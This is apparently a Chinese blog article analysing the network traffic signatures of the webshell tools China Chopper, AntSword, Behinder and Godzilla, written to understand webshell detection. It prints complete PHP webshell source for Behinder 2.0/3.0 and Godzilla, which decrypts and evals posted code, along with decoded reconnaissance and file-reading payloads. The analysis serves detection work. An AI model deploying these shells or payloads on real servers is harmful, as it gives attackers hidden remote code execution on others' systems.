Webshell流量特征浅析
由于我简历上的项目是使用深度学习Webshell的流量检测,面试的时候难免被问到各种Webshell的流量特征,然而大家都知道深度学习的特点就是让机器自己去学习特征,省区了专家挑选特征这个步骤,这导致了我被问道的时候答不上来这种尴尬情况。于是乎就有了这篇文章,打算在这里简单了解下各大Wbeshell工具的流量特征,尽量不涉及到源码。
中国菜刀(chopper)
中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理。主流有2011版本,2014版本和2016版本。
2011和2014版本
菜刀会伪造 X-Forwarded-For 头,且每一次利用菜刀与webshell建立连接,X-Forwarded-For 都会变化。
将这段 post 请求先进行 url 解码
请求执行了 base64_decode
函数对 z0 参数进行 base64 后,经过 eval
函数执行命令
对z0进行解码:
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="$D\\t";if(substr($D,0,1)!="/")foreach(range("A","Z") as $L)if(is_dir("$L:"))$R.="$L:";$R.="\\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="($usr)";print $R;;echo("|<-");die();
这部分就是传输的 payload,首先关闭报错和 magic_quotes,接下来去获取主机的信息
2016版本
其中cmd为密码,2016版本对早期版本做了一些混淆,但是本质上还是对参数进行base64解码之后执行eval
方法
蚁剑
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。开发版本针对有一定编程基础的开发者,你可以根据阅读文档或者分析源码了解熟悉整个应用的执行流程,然后便可随意对代码进行修改增强个性化自定义,真正打造出属于自己的一把宝剑!
PHP WEBSHELL基本操作连接所发的包如下:
URL解码之后得到:
主要获取了服务端当前目录、根目录、系统和当前用户名等信息,输入到缓冲区再由$output变量接收,通过随机字符作为开始结束符定位变量输出位置。
默认使用的情况下data仅进行url编码,特征很明显,data中含有@ini_set("display_errors", "0");@set_time_limit(0);
,header中含有antSword字眼,由于蚁剑的源码是和菜刀的一样,所以在默认情况下特征十分明显。但是蚁剑的个性化十分的明显,自带了多种编码器与解码器:
编码器的作用是传输的时候加密,解码器的作用是使返回的包带的值也是加密的
默认编码器
进行URL解码:
可以看到默认情况下蚁剑和菜刀的流量特征是很相似的
base64
URL解码:
cmd=@eval(@base64_decode($_POST[v13617708d7e4c]));&v13617708d7e4c=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMDAwY2RkOWEiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gImYwNmI0MyI7fW9iX3N0YXJ0KCk7dHJ5eyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9CSI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQyIsIloiKWFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9ZWxzZXskUi49Ii8iO30kUi49IgkiOyR1PShmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKSk/QHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOiIiOyRzPSgkdSk/JHVbIm5hbWUiXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Igl7JHN9IjtlY2hvICRSOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7
这时候跟菜刀解码之前更像了,对后一个参数进行BASE64解码:
和默认的一模一样,就是在默认的基础上加上了base64编码。
chr与chr16
可以看到直接eval了一串chr
函数包裹的字符,查看一下:
仍然是同样的代码而已,chr16 也同理。
rot13
URL解码:
cmd=@eval(@str_rot13($_POST[s7e930f4fc7f89]));&efb4051859bbf7=GnL3Zhci93d3cvaHRtbC9pbmRleC5waHA=&s7e930f4fc7f89=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);shapgvba nfrap($bhg){erghea $bhg;};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "ns551o";rpub @nfrap($bhgchg);rpub "5980sqqr0";}bo_fgneg();gel{$S=onfr64_qrpbqr(fhofge($_CBFG["rso4051859oos7"],2));$C=@sbcra($S,"e");rpub(@sernq($C,svyrfvmr($S)?svyrfvmr($S):4096));@spybfr($C);;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();
对最后一个参数进行rot13解码:
还是老套路,不再赘述。
冰蝎
冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出
冰蝎2.0
冰蝎 2.0 加密原理图如下(Shell 端为服务端)
以php版本的webshell为例分析,查看冰蝎的webshell代码,先会对 Get 传入的pass这个参数进行检查,如果存在的话会以时间的方式生成长度16的随机key,然后存入到session当中,再往后判断是否开启了openssl这个扩展,开启的情况就会开启AES进行解密,得到中间结果字符串 assert|eval("phpinfo();")
此数据是由冰蝎加载器发出的,已经定义好的,服务端利用explode函数将拆分为一个字符串数据,然后以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为 assert("eval("phpinfo;")")
。没有开启的情况,进行异或处理然后通过base64加密。这就是同时在早期有一定的免杀效果,但是这个函数现在已经被标注为危险函数。
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
?>
使用 Wireshark 查看连接 webshell 的流量进行分析,查看会发送俩次 Get 请求,分为俩次 Get 的握手请求,第一次请求服务端产生密钥写入session,session 和当前会话绑定。不同的客户端的密钥也是不同的,第二次请求是为了获取 key。此时的 d7801c2db85e255b
就为解密代码的 key
post 的数据可以利用上面的 Key 进行解密获得代码,可以自己写代码也可以使用在线网站进行解密,在线网站只有在这个网站解密成功:AES批量加密解密
对响应进行AES的解密 ,base64解码后的内容:{"status":"success","msg":"a1824af7-c8ec-45dc-a39f-91719b88e390"}
现在很多厂商已经对返回的内容进行匹配。所以这种动态加密的方式会在冰蝎3取消。
冰蝎3.0
冰蝎3取消了动态生成AES密钥的过程,把密钥直接写死在源码里。
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
分析流量发现相比2.0少了动态密钥的获取的请求,aes密钥变为 md5("pass")[0:16]
意思就是为32位md5的前16位。全程不再交互密钥生成。一共就俩次请求,第一次请求为判断是否可以建立连接,少了俩次get获取冰蝎动态密钥的行为,第二次发送phpinfo等代码执行,获取网站的信息。
解密第一次发送的数据查看,这里有一个参数为 $content
这个变量名称和里面的内容为随机生成的, 目的是为了绕过 $Content-Length
,这个已经在冰蝎2.0中已经被加入了Waf的检测规则当中,所以在冰蝎3.0当中用数据填充的方式绕过。
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$content="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";
main($content);
由此可以看出冰蝎2.0和3.0的区别主要在于取消动态密钥获取,目前很多waf等设备都做了冰蝎2.0的流量特征分析。所以3.0取消了动态密钥获取。
哥斯拉
哥斯拉号称全部类型的shell均可绕过市面所有静态查杀、流量加密可绕过市面全部WAF,且自带众多插件。支持对载荷进行AES等各种加密,支持自定义Http头,支持内存shell,提供丰富的Webshell功能。 哥斯拉客户端运行在Java平台上,通过调用Java库产生TLS流量。哥斯拉生成phpshell文件,存在默认密码和密钥:pass:key
phpshell有三种编码方式:
- PHP_EVAL_XOR_BASE64
- PHP_XOR_BASE64
- PHP_RAW
PHP_EVAL_XOR_BASE64
EVAL_XOR_BASE64编码连接特征很明显,主要特征为:pass=eval(base64_decode(strrev(urldecode(...))))
,这里对传进来得语句进行URL解码,然后再反转后进行base64解码,最后执行。
PHP_XOR_RAW/BASE64
看一下代码:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
这里的encode
函数就是异或加密的,整个加密流程为:原始代码->base64编码->异或加密,其中密钥是已经写死的3c6e0b8a9c15224a
。
点击哥斯拉的测试连接功能发现一共发送了三次包
第一个数据包
解密后的代码一共300多行,包含各种功能,如获取服务器基本信息、文件上传、命令执行、数据库操作等功能的函数。可以发现该数据包并没有回包,可以作为流量识别的其中一个重要特征。
第二个数据包
根据代码分析对会包的字符串进行解密得到OK。说明该请求一条测试请求,证明shell连接成功
第三个数据包
该请求的作用是获取目标的环境信息
解密得到原始代码 methodName=Z2V0QmFzaWNzSW5mbw==
,即 methodName=getBasicsInfo
。此操作调用 payload 中的 getBasicsInfo 方法获取目标环境信息向客户端返回。显然,这个过程又是一个固定特征。
小结
哥斯拉客户端与 shell 建连初期的三个固定行为特征,且顺序出现在同一个 TCP 连接中。可以总结为:
- 发送一段固定代码(payload),http 响应为空
- 发送一段固定代码(test),执行结果为固定内容
- 发送一段固定代码(getBacisInfo)
Raw和Base64加密的区别
Raw : Raw是将加密后的数据直接发送或者输出
Base64 : Base64是将加密后的数据再进行Base64编码
总结
AntSword:
requests | response |
---|---|
base64、chr、、chr16、rot13 | 明文 |
冰蝎2.0:
requests | response |
---|---|
开启Openssl扩展-动态密钥aes加密 | aes加密+base64 |
未开启Openssl扩展-异或 | 异或+base64 |
冰蝎3.0:
requests | response |
---|---|
开启Openssl扩展-静态密钥aes加密 | aes加密+base64 |
未开启Openssl扩展-异或 | 异或+base64 |
哥斯拉:
requests | response |
---|---|
php的为base64+异或+base64 | 异或+base64+脏字符 |
jsp的为Base64+AES | aes+base64+脏字符 |